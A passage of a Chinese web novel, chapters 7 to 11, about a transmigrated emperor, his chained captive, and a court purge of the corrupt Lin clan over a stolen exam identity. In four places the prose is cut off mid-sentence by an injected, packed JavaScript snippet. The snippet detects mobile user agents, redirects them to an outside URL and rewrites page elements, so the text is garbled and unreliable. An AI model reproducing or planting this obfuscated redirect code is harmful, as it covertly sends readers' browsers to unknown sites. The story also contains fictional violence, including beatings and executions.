《朕是真想弄死男主[穿书]》 7. 第七章:圣上何须动怒? 翌日。 小太监低眉睡眼的等候在紫宸殿外,手里端着晨夕接来的露珠煮制而成的茶水,圣上每日起身都要喝几口提神。 现是卯时,天边隐约泛起了晨曦,但尚不足以驱散黑夜,需等到辰时的太阳升起才会变得明亮。 如今深秋,天气凉,福公公还在给圣上温烤靴子,以免圣上穿着不适。 在门外等待已有片刻,小太监好奇地偷偷瞄了一眼紫宸殿紧闭的大门,里面一片寂静。 按照往常的惯例,这个时候圣上应该唤人点灯了。 他心中猜测:今日召见大臣入宫议事,若临近辰时圣上仍未醒来,福公公该大着胆子进去叫圣上起身了。 …… 殿内。 生物钟到点,师离忱早已习惯性的醒来。 只是这一觉睡得头晕,多日劳累让身体感到酸软,加上今天没有朝会,他就多眯了会儿。 算着时辰差不多了,师离忱一手拨开龙床幔帐,起身坐在床沿,脚底踩下蓦然传来一阵温热的触感。 瞬间感到脚踝一紧,被一只手掌钳制住了。 “嗯?” 来不及反应,自然也没受到惊吓。原本他是要唤人进来的,如今却有些疑惑地低眸看去。 殿中不曾点灯,光线有些昏暗,不过尚且能看清踏道位置躺着个人影。扫了一眼轮廓,此人身躯高大挺拔,只是瞧不清神色。 师离忱揉了揉额角,回过神来。 险些忘了。 男主还睡这儿。 他踩在了裴郁璟胸膛的位置,隔着外衣还能感觉到几分热意,甚至能透过外衣,感受到这具躯体之中,似乎蕴含令人艳羡的力量和狂劲,包括钳制住他脚踝的那只手掌也有一丝灼烫。 好到让人有些嫉妒了。 圣上打了个哈欠,懒洋洋道:“松开。” …… 黑暗中。 裴郁璟眼睛如狼一般,紧紧锁定着坐在床边,姿态散漫的小皇帝。自小习武,内力深厚的他,视物如白昼。 当扣住小皇帝脚踝的那一刻,他心底倏然冒出的念头是—— 好细。 又看了眼。 好白。 一只手就能完全圈住,掌中细腻的触感,让他不受控制的将手又收紧了些,根本没把帝王的话听进耳朵。 此番举动,引得圣上倒吸一口凉气,人都清醒不少,脚下用力地踢了踢,语气不善地骂道:“狗东西!聋了?松手!” 这一脚刻意找了位置,踢在了裴郁璟的心口,那本就没有完全恢复的伤口,顿时雪上加霜,疼得钻心。 听着帝王愠怒的声音,裴郁璟在暗中无声笑开,有些事,一旦开了口子,就难收敛。他带着几分戏弄的意味,让手心的玉足无法再动,生生地揣进了怀里,肌肤相贴。 再说话时,他嗓音里带着晨间的沙哑,“璟替圣上暖一暖罢了,圣上何须动怒?” 阳奉阴违的同时,他却真生出了几分舍不得放开的念头。心中暗自嘀咕着,小皇帝是不是半夜没好好盖被子,否则身子怎会如此的凉。 静谧的殿中,响起圣上两声低笑,并未被他的逾举激怒,意味不明道:“很好,你很可以。” 裴郁璟一怔。 此刻,圣上朝外头唤了声:“乐福安,进来。” 紫宸殿大门应声推开,宫女们鱼贯而入,掌灯点亮了烛火,让漆黑的大殿在顷刻间灯火通明。 乐福安领着小太监走进来,一张老脸笑得灿烂,“大臣还没进宫,老奴想着让圣上多睡会儿……” 说着话,他来到内间,登时眼神一厉语调也乍地尖锐,怒道:“放肆!把你那爪子撒开,不许碰圣上!” 裴郁璟哼笑了声,没动作,只抬眼直勾勾地看着坐在床沿的人,“圣上,我要放开吗?” 殿中的灯亮了,看得也更清楚了,他眼底映出小皇帝的样子,腿上的伤口忽然感到发痒。 榻边,年轻帝王着一身单薄柔软的赤色寝衣,微卷乌黑的长发有些凌乱的披在身上,连头也没低一下就将眼神居高临下的睨过来,唇边噙着几分慵懒的笑意,轻声细语道:“再不松开,朕剁了你的爪子。” 话语温柔,却涌动着血腥的味道。让裴郁璟嗅到了几分疯狂,他忽然觉得伤口痒了,甚至还莫名想再挨上几刀。 …… 扣在脚踝处的手瞬间弹开,男主或许是被震慑到了,一声不吭的让开位置,挪到了踏道角落。 师离忱懒得管他,杀又杀不死,看着也心烦,到边上去正好。 倒是乐福安不依不饶,半跪在圣上身前,捧着龙足来回仔细的检查一番,哭唧唧道:“瞧瞧,瞧瞧,这都红了!” 他命宫女去取药来,又扭头骂裴郁璟,“不长眼的东西,圣上的龙体也是你能伤的?圣上就算把你踩死,你也得一声不吭的受着!那是天恩!” 师离忱往踏道边角瞥了眼,裴郁璟低着头坐在那儿,看不清神色,只沉默的忍受着乐福安谩骂,一副寄人篱下的落寞样。 师离忱双眸微眯,不自觉转起指间的玉戒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12147334|128419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他可不信,男主是真的软弱可欺。 …… 乐福安数落裴郁璟的声音,一句一句飘过,师离忱头疼地按了按眉心。 沉声道:“行了。” 圣上发话,乐福安及时止住了话头,不高兴的板起一张老脸,心疼道:“这怕是要好几日才会消下去了。” 师离忱垂眸看了眼。 脚踝位置已经起了一圈红痕,还能看到两个未消的指印,他有些不满地蹙眉“啧”了声,对裴郁璟冷笑道:“看看!你的好心。” 脚踝上一圈像是印上去的痕迹,让裴郁璟下意识摩挲了一下手指,掌心似乎还残留着触感,他心底有些不屑—— 真娇贵! 尤其那两个指印,让小皇帝好像被打上了他的记号。他眼神怪异地盯着那圈痕迹,真怀疑再用点力,这腿就折了,或许就该用点力折了,让小皇帝也疼一疼。 裴郁璟敛下神色,说话的嗓音沉冷,“圣上足心很凉,璟身上暖,正好为圣上温着点。” 鬼话连篇,师离忱哼笑着对乐福安道:“既然他有心,回头你教教他,到底该怎么伺候朕。”最好是把那身骨子都打断了,再也直不起腰来。 乐福安笑着应是,这时宫女送来药膏,乐福安尚未动作,裴郁璟便抢先一步拿过药膏,请缨道:“璟犯下的错,自然要璟来善后。” 师离忱无所谓道:“也好。” 乐福安:“……” 又抢活! 他咬牙切齿地瞪着裴郁璟,气闷的一甩拂尘。 但到底只能眼睁睁看着裴郁璟泰然自若地走到圣上身边,半跪着,捧起圣上的小腿,涂抹药膏。 不过…… 他扫过裴郁璟卷起的袖子,那一截手臂肌肉紧实,有些健硕,圣上搭在上头的小腿线条流畅,润白如玉。 二者相搭,透着怪诞的养眼。 乐福安打量着,见裴郁璟确实是老老实实在给圣上涂药,动作轻柔,他脸色这才缓和了些。 算这南晋人乖觉。 * 刚用过早膳,就有太监小跑着来通禀:“陛下,太师,太傅与大理寺卿已至御书房候着了。” 师离忱淡淡应了声,起身要去御书房,却见裴郁璟也跟了过来,他停下脚步,不轻不重地扫了眼裴郁璟,“朕商议国事,你来作甚?” 裴郁璟像是没听出圣上语气里的冷意,无辜问道:“小宠不该跟着圣上吗?” 圣上笑了笑,“朕没剁了你的爪子,你就该偷着乐了。” “滚。” 8. 第八章:大理寺办案 御书房。 今日议事,圣上给三位大臣赐了座,又叫乐福安把册子发给了三位臣子。师离忱道:“此乃要事,爱卿们且看完,再给朕答复。” 册子上所赘述的,是关于推行监察司的事情。他稳坐上首,拨弄着玉戒,神情莫测地观察着三人的反应。 太师乃三朝元老,以国为重,是个可用之臣。太傅曾是这具身躯的老师,凡事鞠躬尽瘁。 大理寺卿年轻一些,才至中年,是两月前刚提拔上来的候补,底子干净,嫉恶如仇做事利落。 因独立于朝堂之外,监察司用人需慎选,刑狱职权不可给的过多,以防出现类似锦衣卫那样滥用职权的情况。 所以,叫这三位前来确认监察司的建立,选拔监察司人才,是最合适不过的。 不多时。 太傅合上册子,认真道:“圣上,臣以为此令可行,当今朝中御史威信减弱,参几本不痛不痒,可若是有监察司存在,百官行事怕是要估量再三,贪腐之风也能得到抑制。” “此言差矣。”太师却持反对意见,蹙眉道:“贪官要贪,自有法子治他,可监察司的存在恐会动摇国之根本,老臣认为此事还需慎重。” 太傅变了脸色,问太师:“动摇国本,何以见得?” 太师沉声道:“从目前来看,监察司确实能够肃清朝廷蛀虫,但难以保证多年后,不会出现心术不正侵害官员的弄权之臣!” 太傅眼神微怒,斥道,“既是监察司自然要规章严明,况且圣上知人善用自不会出现乱权之象,你这是胡乱揣测!放肆!” 太师坐不住了,一拍桌子站起身来,“你才放肆!” …… 顾不得人还在御前,你来我往的争论起来。就着监察司到底要不要设立,吵到了监察司的制度问题。 两位老臣声音洪亮,中气十足的模样不像是花甲之年。大理寺卿夹在中间,左右为难,时不时抬手擦一擦冒汗的额角,不知该劝还是不该劝。 师离忱饶有兴致地托着下颌,静观其变。等他们吵了一阵,才笑着打断二人:“爱卿们对监察司甚是上心呐。” 话音落下,太师与太傅一同收声,意识到行为不妥,忙收敛了气性,低头朝圣上告罪,道:“老臣失礼,望圣上宽恕。” “政见不同,无伤大雅。”师离忱接着话道,“便依着爱卿们的意见,完善其制度。” 太师本意并非如此,但听圣上的意思,这监察司必然要立,他再反对也无用,只好从命。 然而下一刻,圣上又说:“监察司肩负监察天下之责,必须慎重,还要劳烦太师太傅主持监察司考核。” 入朝为官要科考,进监察司自然也要进行一轮考较,不仅仅要考学识,也要考品行。 闻言,太师面色缓和一些,颔首道:“臣,定尽心竭力。” “今日唤三位爱卿前来,并非只是为了监察司一事。” 师离忱指尖在桌案上,有一下没一下的轻叩着,轻声道:“先帝在位期间,曾将京城鹿鸣宴办理之权移交给林氏,这事本该是朝廷办的,这么多年也该收回来了。” 提到林氏,大理寺卿瞬间猜到某种可能,壮着胆子道:“圣上,可需臣做些什么?” “确有一事。”师离忱唇边带笑,森森道:“朕手中有些林氏的罪证,线索查得差不多了,今夜你便带着大理寺的人,按名册抓犯人。要是人手不够就拿令牌找郞义调金吾卫,千万别漏了任何一个,能做到吗?” 大理寺卿候补多年,深知世家门阀排挤的威力,如今终于守得云开见月明,激动到当即跪地叩首,面色涨红的高声应道:“微臣!接旨!” * 京都上空,阴云密布。 一枚蹴鞠被踢进了京兆尹府邸后院的池水中,激起千层波浪,七八岁小童茫然无措地看着飘起的蹴鞠。 听到呼唤,小童顿时一扫阴霾,喜笑颜开地朝声音奔去,“父亲!” 京兆尹接住扑过来的幼子,掂了掂分量,慈爱道:“又重了。” 夫人接过幼子,笑道:“晓儿还在长身子呢,老爷可别嫌弃他。” 京兆尹摸了摸孩子的头,扫了眼院中往来的小厮丫鬟,这些都是圣上的人,自从那日他从宫中回府后,才有的。 圣上仁慈,不曾将他下狱,还留了几日的时间让他与夫人孩子相叙。明日必是一场腥风血雨,他与家人之间只剩下今日。 京兆尹轻叹一声,对夫人幼子温和道:“快变天了,别让他在外头玩了,先回屋吧。” …… 御书房议事持续整整一个早上。 眼瞧着午膳的点都过了,里头还没结束。 乐福安急得在御书房外来回踱步,圣上不喜有人在议事时打搅,否则他肯定要进去送一盘点心。 好在没过多久,殿门打开。 三位重臣依次走出,太师与太傅离开前,还相互冷哼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12157025|128419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着负气甩袖。 乐福安进殿,见圣上靠着龙椅,面露疲累地揉了揉眉心,他刻意把门前看到的一幕拿到圣上面前说笑了一通,又调侃道:“太师大人和太傅大人做了几十年同僚,都一把年纪了还是老小孩的样。” 闻言,师离忱想起方才在御书房,二人争得面红耳赤的景象,失笑着评价道:“政见相左,却殊途同归,随他们去吧。” 都是忠心耿耿的老臣,有点脾气也正常,最大也就是吵两句嘴,正事却从不含糊半分。 乐福安给圣上按着太阳穴,见圣上被逗笑,估摸着圣上心情不错,询问道:“您还没用午膳呢,今儿个御膳房出新菜,您可要尝尝?” 师离忱阖眸道:“传吧。” * 乌云盖住了明月。 酝酿了一整日的大雨,在夜半三更时下起。 京都城外十里,穆子秋快马加鞭,秘密驮着一人回城。这是八日前,圣上交给他的密事。 大雨倾盆浇得二人浑身湿透,仍一路疾驰地赶到京都城门前,他将一块牌子抛向高空,被守城的禁军小将接住,仔细查验。 “圣上有令,放行!” 本该戒严关闭的城门打开一条缝隙。 穆子秋神情肃然驾马入城,空荡荡的街上只有马蹄声响,直行往前,以同样的方式过了宫门,畅通无阻的入了皇宫内庭。 …… 与此同时。 林氏府邸,一封秘信被送到林鼎手中,信纸展开,信中内容令其眼神逐渐变得狠厉。 “啪!”茶盏被灌摔的粉碎,他喘着粗气,道:“来人!来人!” “快去请齐大人一叙!” “砰!” 回应林鼎的是,猛然被踹开的房门。 狂风争先恐后的卷入房中,林鼎瞳孔骤缩。 雨夜雷鸣,大理寺卿面带微笑,慢条斯理地拔刀,他身后穿过一个个同样佩刀的黑影,明晃晃的大刀震慑全场,四周鸦雀无声。 整个林府已在悄无声息之间,被秘密控制,林鼎的一举一动,也皆在掌控。 大理寺卿和善道:“大理寺办案,还请噤声。” 林鼎面色骤地灰败,失了力气一屁股坐回椅子。 晚了。 为时已晚。 就算那封密信是从一千多里外的县衙传出,是以最快的速度被送达皇城,那也晚了。 他。 也完了。 9. 第九章:心狠手辣的疯子 紫宸殿深夜来报。 刚灭掉不久的烛火又重新亮起。 乐福安带着穆子秋去隔间换衣,边走边数落着,“世子殿下,圣上才歇下呢,您就骑着马带人闯进来了,下回可不能这么毛躁,险些吓死老奴了!最主要的是不能冲撞到圣上!” 穆子秋没往深处想,只道:“圣上命我接到人后,不论何时都直接带进宫来,许我在宫中骑马,为了这事我来回跑死了四匹马,有吃的吗?” “圣上早就命人备着了。”乐福安摇摇头,道:“就算圣上许了,您也不能直接骑着马进殿啊,要不是老奴守在门口,您怕是得冲进屋子了。” 马速过快,到紫宸殿前了也不知刹一刹,都跑到廊上了!乐福安嫌弃地扫了眼穆子秋。 鲁莽! …… 紫宸殿屋内。 圣上只随意披了件外衣,在外间软榻落座。 不远处,堂中俯首跪着一个男子,蓑衣已经除去,露出一身破烂的粗布麻衫,缝缝补补不知穿了多久。 师离忱淡淡道:“抬头。” 此人开口,喉咙里发出的声音嘶哑,“草民相貌丑陋,怕惊着圣上。” “无妨。”师离忱低声道,“那是罪证,错不在你。” 话音落下,匍匐在地的人身子轻轻颤了一下,终于慢悠悠地挺起腰板,抬起头来。 或许是被大雨冲刷了很久,此人散乱的头发都贴在了脑后,露出一张轮廓坚毅的脸,本该是十分俊秀的长相。 很可惜。 这张脸,左到右,横亘了两道伤疤,伤疤从额角延伸下颌的位置,贯穿了整个面孔。 当初受伤应该很重,如今愈合的疤痕也带着轻微凹陷,还有缝合的痕迹。 须臾,他突然高声道:“草民八年前春闱一甲第一,会元齐计泽,拜见圣上!” 齐计泽重重叩首,他深深埋首,饱经风霜的双目此刻盛满泪水。有终于能重获新生的喜悦,也有多年不见天日的酸楚。 师离忱眸色沉着,漫不经心地转起玉戒。 齐计泽,当今御史中丞也叫这个名,八年前科举殿试状元,二人轮廓也有相似之风。 就在这时。 内殿传来锁链被撞得叮当响的声音,在静谧的殿中显得有些吵闹。师离忱被扰乱了思绪,往内殿的方向瞥了眼,冷冷地道:“安静些。” 里头瞬间没了动静。 殿中散着淡淡的熏香,茶盏碰撞,圣上抿了一口茶水润嗓。 不多时,齐计泽听到头顶传来圣上喜怒难辨的声音:“一路以来辛苦你了,起身吧,坐。” 齐计泽小心翼翼地瞄了眼,宽大的软榻中间有一方精致矮几,圣上在一侧,唯一能坐的只有另一侧。 他悄然打量几眼湿漉漉的自身,踌躇着不敢上前。 “朕许了。”帝王却毫不在意,淡淡道:“坐。” 圣上有令,不得违抗。齐计泽恭敬的谢过恩,谨慎地坐了个边角,生怕弄脏柔软的垫子。 “恨吗?”圣上问。 闻言,齐计泽几乎立刻红了眼眶。 怎么可能不恨! 寒窗苦读二十几载,会试夺魁,本该前途坦荡风光无限,却在殿试前被人冒名顶替!被人暗害面容尽毁,侥幸留了一口气从死人堆里爬出来,还没踏进府衙大门就被驱逐…… 他咬紧牙关,似要吃人般挤出一字:“恨!” “那年状元游街,草民却只能躲在暗处,提防追杀!他们官官相护,毁我一生,怎能不恨!若以草民性命,能换一场公平,草民愿意!” …… 一刻钟后。 乐福安回来,禀道:“圣上,穆小世子想见您。” 窗外电闪雷鸣,师离忱摆摆手道:“见什么见,这么大的雨也不必出宫,安排两间偏殿给他们歇着。”顿了顿,他对齐计泽道:“你去吧。” 齐计泽惶恐地手足无措,做梦也想不到,不但能洗刷冤屈还能留宿内廷,激动地谢恩:“草民叩谢圣上。” 话音未落,圣上的身影已经离开软榻,进入内间。乐福安笑眯眯道:“齐公子,随老奴来。” * 内殿。 龙榻一侧,裴郁璟脖子上套着粗壮的锁链,坐在踏道的角落,依靠着床头。 锁链距离控制的刚好,能坐不能躺,这是裴郁璟早上冒犯圣上的惩戒。 今日累了,没空教训他。师离忱径直掠过。 却听一声轻叹,裴郁璟道:“月商国事,圣上让璟旁听,是终于要将璟灭口了吗?” 师离忱意味不明地笑了笑,舍了个眼神给裴郁璟,森凉地道:“少揣测朕的心思。” 说完便躺回龙榻,疲乏地闭上双眼,懒得再理会这人。 掌灯宫女入殿,陆续灭了殿中烛火,顷刻间屋中陷入黑暗与静谧。 被锁链拴着,对于旁人来说或许是屈辱,对于裴郁璟来说不痛不痒。 就算一两个晚上不睡,对他来说也并不难捱,只不过面子功夫要做。 如今灯一黑,他脸上那点浮于表面的苦楚啊,隐忍啊,就全都收起来了,阴鸷的眼神倏然扫向龙榻。 黑夜把所有感官都放大了。 裴郁璟耳尖微动,听到小皇帝轻缓的呼吸,似乎睡熟了。 他揉了揉发痒的耳根,隔着半透的幔帐,肆无忌惮地将视线放在年轻帝王的身上。 也就这时他才能有机会细看帝王的面容,以目光一寸寸描绘帝王俊美如妖的眉眼,毫无避讳。 雷雨早已停歇,四周十分安静。 裴郁璟眼睛都没眨一下,仿佛死盯着就能看穿这幅皮囊下的帝王,到底拥有什么样的内核。 礼贤下士?肆意乖张?亦或者是心思缜密,心狠手辣的疯子。 * 次日。 卯时已至。 城门鼓响,宫门大开。 月商国的早朝在两个月前改过规矩。 百官无需提前一个时辰就在宫门外列队等候,只需要在早朝开始之前的一刻钟,在金銮殿按规矩站好。 上朝的日子从五日一回,改成三日一回。 与不同以往。 今天还没到三日一朝的时候。 今日的官员们,一个个风声鹤唳,连窃窃私语都不曾有。只按着位置在金銮殿站好,等候圣上到来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12169520|128419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不多时。 三道清脆的编钟声,传遍金銮殿前。 通禀太监高呼:“圣上到——” 嗓音在空荡的殿中散开,又扩到场外。 群臣不敢直视天颜,紧张低头,捏紧笏板,连呼吸都控制着变得微弱。 穆子秋站在较后头的位置,位置靠后,仗着前面有人挡着,他偷偷抬眼去瞄最高位的圣上。 今日圣上未戴帝冕,也不曾梳冠,只如寻常般随意的用鬓边金饰点缀了长发,穿了一身宽大威严的玄色龙袍。 大权在握的帝王,不屑于做太过复杂的打扮,一见龙袍便足够代表他对朝会的尊重。 师离忱入座龙椅,单手撑着膝盖,眼神漠然地扫了一圈百官,文官武官各在一侧泾渭分明。 乐福安站在龙椅一侧,肃声道:“跪——” 群臣皆跪。 乐福安:“山呼——” “万岁。” “山呼——” “万岁。” “再山呼——” “万万岁!” 众臣叩拜,齐声呐喊神情庄重。他们堆叠在一起的声音沉重,浑厚,是以对最高掌权者的崇敬。 师离忱轻描淡写道:“起。” 众臣谢恩起身,规矩站好,独一人从文官群中走出,跪于殿堂,“臣,京兆尹任树荣,参御史中丞齐大人,舞弊科举,与林氏勾结,冒名顶替!” 此言一出,激得满朝骇然。 “满口胡言!”御史中丞神色陡然一变,眼底划过一丝阴狠,他从队列走出面朝上首行礼,镇定道:“圣上明鉴,臣八年前殿试由先帝亲试,百官为证,怎可能舞弊科举!” 近半年来见识过圣上的手段,百官不敢轻易站队,知晓内情的大臣此刻双腿已然开始发软。 “此乃证据!” 京兆尹双手奉上奏疏,他声音清晰,铿锵有力道:“臣曾受林氏恩惠,在其威逼利诱之下,不得不帮其收尾,在齐计泽前往府衙报官之际百般阻拦!不成想林氏要痛下杀手,臣于心不忍,助其逃出京都,远躲偏县!” “臣不但留存了当年与林氏往来的书信,臣还有人证!”他言语锋利,眼神更如利剑般直指御史中丞,“臣的人证,便是真正的齐计泽!人已候在殿外,等待圣上传召!” 御史中丞倏然白了脸色。 …… 混淆身份,鸠占鹊巢,一时间朝堂议论纷纷。 八年前与齐计泽同一届榜上有名的官员更是后怕,就差一点,被换之人就是自己了。 “肃静!”乐福安呵止了朝上骚乱,京兆尹所捧奏疏被小太监呈送到御前,摆到圣上眼前。 早已知晓内情,师离忱无需翻开。 他一手撑在膝前,唇边含笑地看着诸位大臣,平和道:“爱卿们对此事,有何看法?说说,不妨事。” 寂静之中,有一御史台的御史率先站出,自认仗义执言,肃然道:“回圣上,臣以为此事有待商榷,科举之制需验明正身,中丞大人同届学子众多,不可能人人都认错,况且殿试由圣上倾点,中丞大人殿试时是在百官面前亲笔写下的策论,又怎能混淆这状元之名!” 10. 第十章:诛九族 “不愧是御史台,一条心。”圣上低笑两声,意味不明道:“京兆尹,你如何做解?” 帝王语气莫测,宛若平常的闲谈。 京兆尹双颊赤红,高声有力地说:“臣手中有人证、物证,一应俱全,还请朱御史亲眼看看,为何独独是齐计泽被调换!” 金銮殿上,唯有京兆尹洪亮的声音,响彻殿内殿外,“齐计泽乃寒门举子,家中了无亲眷,靠抄书卖画授课攒齐十两纹银进京赶赴春闱,路上省吃俭用走了两月,初到京都还剩四两,京都最便宜的客栈一日二钱,备齐科考用具束脩还需二两,等于他手中只剩二两,要靠二两纹银在京都住一个月,各位大人,敢问谁能做到?” “这……”帮御史中丞说话的朱御史,有些迟疑。 京都价贵,又逢春闱,虽说太祖皇帝明令不许商户在春闱期间坐地起价,可那些隐藏的费用却也不菲。 二两。 别说在京都住一个月,对于有些人来说,怕是连买笔墨都不够。更别提举子入京后,到处拜师问路,也是笔开销。 “齐计泽到京都后,先去客栈后厨帮工,不要工钱,住在马厩,晚上去茶楼清扫,换取饭菜。” 京兆尹道,“他与旁人私交不多,没有余钱打理自身,整日蓬头垢面,直到夺得会试第一,才被林氏盯上。林氏一族旁支有位举子,与齐计泽年纪相仿,便起了以假乱真的心思。” “你简直颠倒黑白,胡言乱语!当年殿试策论我亲笔写下,怎能作假!”御史中丞声音颤抖,跪下大声道:“圣上明鉴!臣是冤枉的!” 京兆尹立即道:“八年前的殿试,先帝身体不适,由翰林院代出题,题目外泄被林氏所得,你敢说你不曾舞弊?!大理寺卿昨夜早已调查清楚,中丞大人最好想好再说!” “片面之词,不可尽信!” 御史中丞据理力争,可惜言辞单薄让人无法信服。 京兆尹又道:“臣恳请陛下,传人证物证!” 两方对峙。 金銮殿一片死寂。 上首。 圣上低笑两声,“传。” 不稍片刻,齐计泽便上了大殿,板正的跪在中央,一字一顿道:“草民齐计泽,叩见圣上。” 脸上两道触目惊心的疤,以及望向御史中丞那恨到滴血的眼睛,足够说服大半朝臣。 上殿的还有两名小太监。 小太监手中捧着物证书信,以及当年齐计泽做工的客栈和茶楼之中,掌柜伙计们的签字画押。 他们站在台阶上,将这些证据展开,高高地举起。 静待须臾。 “都看清楚了吗。”师离忱语调淡淡,他也根本无所谓大臣们有没有看清,就这么随便一问。 众臣哪里还不明白圣上的意思,纷纷低头默不作声。 隔了一道金帘,御史中丞依旧能感觉到帝王冰冷的视线正落到他身上,“林氏偷天换日玩得不错,可惜朕不是先帝,眼睛里揉不得沙子。” 大理寺卿适时站出,肃声道:“启禀圣上,臣翻阅多年卷宗,发觉与林氏有关的人口失踪案多达上百件,京兆尹大人自愿投案,又供出三百多件林氏抢占民女案……” 所有案情,经大理寺卿一一赘述,百官越听越胆战心惊,义愤填膺道:“林氏胆大包天,臣等恳请圣上,下旨严惩!” 众臣跪地,“臣等恳请圣上严惩!” 京兆尹呼道:“臣任官二十五载,与奸人为恶,害苍生黎明,臣自知罪无可恕,愿以死谢罪!” 说完他便一头就碰到金銮殿的柱子上,血溅当场。林氏大罪不可饶恕,圣上当朝传旨,朱笔亲批。 见大势已去。 御史中丞颓然坐地。 金吾卫上殿将其拖走,又从队伍中拖走四五个和御史中丞同罪论处的官员,殿外官员求饶之声渐渐微弱,仗廷杖责打的重击声变得清晰。 余下众臣寒毛卓竖,屏住呼吸。 有的心中默数,数到第八十七下的时候,外头彻底没了动静,血腥气隐约飘进了金銮殿。 须臾。 师离忱唇角扬起一丝笑意,和声道:“诸位爱卿,可还有奏报。” 胆小些的官员,吓都被吓出冷汗了,哪里还敢做声。 唯一在金銮殿有座的太师起身,道:“臣有要事。” “喔?”师离忱笑容中多出了几分真心实意,“爱卿请讲。” 太师沉声道:“世家犯上,与朝中勾结,操控御史台压下弹劾,归根结底还是朝中官员不够坚守,臣以为该建立监察司,设立刑狱,监督百官,吏治清明!” 师离忱转着玉戒,“朕觉得可行,诸位爱卿以为呢?” 太师发言,圣上许可,又刚出了一场血案,众臣无有不依。 监察司一事,正式推行。 同时御史台被清扫,御史大夫御下不严被贬谪,被贬的还有当年舞弊科举的翰林院编修,两三个收过林氏恩惠的则被罢官。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12190573|128419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林氏被判诛九族,查抄所有资产,禁军张贴榜文,将其罪行广而告之,待到三日后问斩。 消息瞬间在京都城中散开,百姓不关心谁做官,他们更在意生活能不能变得更好。 林氏一倒,佃户不必再受苦楚,自然乐得高兴,再瞧着林氏如此迫害佃户,义愤填膺,纷纷备上臭鸡蛋,打算在游街时给他们一点教训。 * 朝会结束。 金銮殿后的廊道上,小太监奉茶等候在此。 一次性解决两庄事,师离忱心情格外舒坦,拿起茶水抿了一口,瞥向跟在小太监后面的人,“他怎么在这儿。” 乐福安殷勤道:“小宠不是想伺候圣上吗,老奴就叫他跟在福生后头涨涨见识,伺候圣上的规矩。” 福生是奉茶小太监的名字,也是乐福安的干儿子。 师离忱哼笑一声没说话,目光就这么掠过了裴郁璟,径直往前走。裴郁璟和小太监一样跟在后面,连和圣上搭话的机会都没有。 …… 或许是近日来过于劳累,骤然放松了身心,师离忱还没走几步路,感到膝盖传来一阵钝痛。 “嘶——”他轻轻倒吸一口凉气,驻足单手撑着一旁的墙体,微微敛眉。 乐福安紧张道:“圣上又疼了?” 师离忱闭目“嗯”了一声,乐福安当即对着福生斥道:“还愣着做什么,去宣御医!” 福生应了,诚惶诚恐地小跑着去。 乐福安则蹲在了师离忱身前,低声道:“圣上快上来,老奴背您回去。” 师离忱不慎在意地拍了拍乐福安的肩膀,失笑道:“老毛病不碍事,起来吧。” 他穿来时,这具身躯就有腿疾,平常都要人用热鸡蛋揉膝盖才能缓解疼痛,已经有三四个月没犯过了,师离忱也就没放心上,谁晓得会突然疼起来。 后方,裴郁璟低眸看了眼。 衣摆有些晃,像是站不稳了。 他漫不经心地往上一瞥,小皇帝一截苍白纤细的小臂,从宽大的玄色龙袍里伸出来,撑着墙体的手指用力到发白。 突然,帝王突然想起旁边还有一人,回头落来漠然的一眼,懒懒道:“过来,趴下。” 明明嗓音里还带着几丝疼痛的暗哑,语气却不容置喙。 暗处守着这么多金吾卫不使唤,偏偏使唤他。裴郁璟笑了,感到后牙都在发痒,轮廓紧绷地应道:“是。” 真是疯了,怎么会觉得他可怜。 11. 第十一章:风寒 已经有金吾卫去取圣上用的轮椅,在轮椅被送来之前,圣上先坐在了裴郁璟的背上。 高大的人影趴在地上,双臂微微发力,暴出隐于其中的肌肉线条,透着一股子蓬勃的力量感。 帝王坐上来的时候,裴郁璟身子陡然一僵。 ……好轻。 乐福安斥他,“稳当些,别摔着圣上!” 裴郁璟忍不住抓紧地面,他用宽厚的背,承托起这举国最矜贵的人。垂首间,后脖完全曝露在圣上低垂的眼中。 似是脆弱的,不堪一击的。 师离忱唇边噙笑,用戴着玉戒的手指,如抚珍宝般,落在这片肌肤上,特别偏爱的在颈骨位置,摩挲了几下。 很漂亮,适合抽出来把玩。 